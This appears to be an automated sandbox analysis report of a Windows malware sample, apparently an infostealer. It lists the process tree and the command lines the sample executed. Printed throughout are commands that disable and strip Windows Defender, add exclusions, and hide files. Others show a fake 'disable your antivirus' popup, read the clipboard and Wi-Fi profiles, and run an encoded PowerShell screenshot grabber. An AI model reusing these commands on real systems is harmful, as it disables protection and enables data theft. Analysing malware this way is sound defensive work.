PID 2140 wrote to memory of 2028 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 2140 wrote to memory of 2028 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 4572 wrote to memory of 2924 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 2924 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 2924 wrote to memory of 4804 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2924 wrote to memory of 4804 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4572 wrote to memory of 3332 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 3332 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 3332 wrote to memory of 3128 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3332 wrote to memory of 3128 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4572 wrote to memory of 1384 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 1384 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 1384 wrote to memory of 528 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1384 wrote to memory of 528 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4572 wrote to memory of 2484 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4572 wrote to memory of 2484 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2484 wrote to memory of 1992 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2484 wrote to memory of 1992 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 5036 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\System32\Conhost.exe
PID 4572 wrote to memory of 5036 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\System32\Conhost.exe
PID 4572 wrote to memory of 3120 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 3120 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 732 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\System32\Conhost.exe
PID 4572 wrote to memory of 732 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\System32\Conhost.exe
PID 4572 wrote to memory of 2288 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 2288 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 5036 wrote to memory of 4692 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 5036 wrote to memory of 4692 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 2028 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 2028 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 3120 wrote to memory of 5116 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3120 wrote to memory of 5116 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2288 wrote to memory of 4056 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2288 wrote to memory of 4056 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 732 wrote to memory of 3420 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 732 wrote to memory of 3420 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe

"C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"

C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe

"C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4292,i,1697479186275492802,18058102846092193784,262144 --variations-seed-version --mojo-platform-channel-handle=3144 /prefetch:8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "start bound.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error! Please disable your antivirus and run it with administrator permissions', 0, 'Error!', 0+16);close()""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error! Please disable your antivirus and run it with administrator permissions', 0, 'Error!', 0+16);close()"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'

C:\Users\Admin\AppData\Local\Temp\bound.exe

bound.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏  ‎.scr'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\attrib.exe

attrib +h +s "C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"

C:\Users\Admin\AppData\Local\Temp\bound.exe

bound.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏  ‎.scr'

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yb0ojtas\yb0ojtas.cmdline"

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1EAE.tmp" "c:\Users\Admin\AppData\Local\Temp\yb0ojtas\CSCBA46A09D4E24438879C62FE39CFD6ED.TMP"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x3f4 0x4c4

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Local\""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c C:\Users\Admin\Local\activate.bat

C:\Windows\system32\attrib.exe

attrib +s +h .

C:\Users\Admin\Local\wsappx.exe

"wsappx.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\taskkill.exe

taskkill /f /im "bound.exe"

C:\Users\Admin\Local\wsappx.exe

"wsappx.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3016"

C:\Windows\system32\taskkill.exe

taskkill /F /PID 3016

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1876"

